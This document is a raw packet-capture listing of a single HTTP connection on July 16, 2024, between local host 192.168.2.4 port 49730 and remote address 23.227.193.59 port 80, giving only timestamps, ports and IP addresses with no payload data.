Jul 16, 2024 22:29:49.474369049 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.475030899 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.475083113 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.475086927 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.475156069 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.475189924 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.475202084 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.475225925 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.475276947 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.475352049 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.475948095 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.475994110 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.476007938 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.476042032 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.476083040 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.476119995 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.476598978 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.476632118 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.476648092 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.476686001 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.476731062 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.476767063 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.476802111 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.476846933 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.477430105 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.479228973 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.479265928 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.479296923 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.479300976 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.479352951 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.563132048 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.563272953 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.563328028 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.563342094 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.563361883 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.563411951 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.563441992 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.563474894 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.563508034 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.563525915 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.563541889 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.563591957 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.563805103 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.563838005 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.563870907 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.563889980 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.563908100 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.563958883 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.564084053 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.564116001 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.564148903 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.564161062 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.564182997 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.564218998 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.564234018 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.564436913 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.564471006 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.564497948 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.564630032 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.564678907 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.564692020 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.564712048 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.564762115 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.564763069 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.564795971 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.564829111 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.564843893 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.564863920 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.564901114 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.564912081 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.565217972 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.565251112 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.565269947 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.565284014 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.565319061 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.565331936 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.565588951 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.565622091 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.565642118 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.565654993 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.565687895 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.565701962 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.565721989 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.565769911 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.565953016 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.566003084 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.566035986 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.566052914 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.566068888 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.566102982 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.566121101 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.566135883 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.566169977 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.566179991 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.566432953 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.566485882 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.566485882 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.566519022 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.566553116 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.566566944 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.566585064 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.566637039 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.653176069 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.653223991 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.653260946 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.653295994 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.653433084 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.653466940 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.653495073 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.653501034 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.653539896 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.653558969 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.653574944 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.653609991 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.653626919 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.653688908 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.653723001 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.653738976 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.653791904 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.653842926 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.653846025 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.653879881 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.653917074 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.653925896 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.654164076 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.654198885 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.654217958 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.654321909 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.654355049 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.654371023 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.654388905 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.654422045 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.654437065 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.654454947 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.654486895 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.654509068 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.654522896 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.654577971 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.654829979 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.654987097 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.655019999 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.655036926 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.655054092 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.655087948 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.655102968 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.655121088 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.655154943 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.655169964 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.655188084 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.655221939 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.655239105 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.655256033 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.655303001 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.655662060 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.655694962 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.655745983 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.655750990 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.655802011 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.655834913 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.655846119 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.655869007 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.655901909 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.655919075 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.655936003 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.655971050 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.655982018 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.656347990 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.656379938 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.656399012 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.656431913 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.656465054 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.656477928 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.656523943 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.656558037 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.656575918 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.656590939 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.656622887 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.656636953 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.656656981 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.656691074 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.656701088 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.656974077 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.657026052 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.657180071 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.657212973 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.657246113 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.657262087 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.657279968 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.657313108 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.657331944 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.657351017 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.657385111 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.657401085 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.657419920 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.657453060 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.657466888 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.657485008 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.657519102 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.657530069 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.657552958 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.657596111 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.658049107 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.658098936 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.658149958 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.658152103 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.658185959 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.658220053 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.658231974 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.658252954 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.658286095 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.658302069 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.658319950 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.658353090 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.658366919 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.658385992 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.658421040 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.658437014 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.658461094 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.658508062 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.659270048 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.659307003 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.659339905 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.659357071 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.659373999 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.659429073 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.695075035 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.695146084 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.695162058 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.695231915 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.743467093 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.743510962 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.743566036 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.743599892 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.743633032 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.743670940 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.743694067 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.743798018 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.743824959 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.743875980 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.743913889 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.743947983 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.743979931 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.743994951 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.744014025 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.744059086 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.744066954 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.744100094 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.744132996 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.744153976 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.744164944 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.744199038 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.744210958 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.744232893 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.744265079 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.744277954 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.744298935 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.744345903 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.744550943 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.744582891 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.744616032 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.744632006 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.744651079 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.744683981 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.744695902 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.744716883 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.744750023 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.744780064 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.744806051 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.744853020 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.745119095 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.745151043 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.745184898 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.745197058 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.745219946 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.745265961 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.745469093 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.745501995 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.745534897 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.745547056 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.745568991 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.745600939 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.745615005 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.745635986 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.745668888 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.745688915 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.745701075 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.745733976 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.745748997 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.745765924 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.745799065 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.745831013 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.745831013 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.745867014 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.745879889 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.746465921 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.746499062 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.746519089 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.746531010 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.746563911 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.746597052 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.746601105 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.746629000 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.746659040 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.746701002 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.746733904 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.746757984 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.746767044 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.746799946 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.746813059 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.746834040 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.746865988 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.746879101 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.746898890 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.746946096 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.747492075 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.747525930 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.747559071 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.747580051 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.747591019 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.747622967 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.747644901 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.747657061 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.747689962 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.747699976 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.747725964 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.747773886 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.748712063 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.748804092 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.748838902 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.748863935 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.748960972 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.748994112 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.749006987 CEST	49730	80	192.168.2.4	23.227.193.59
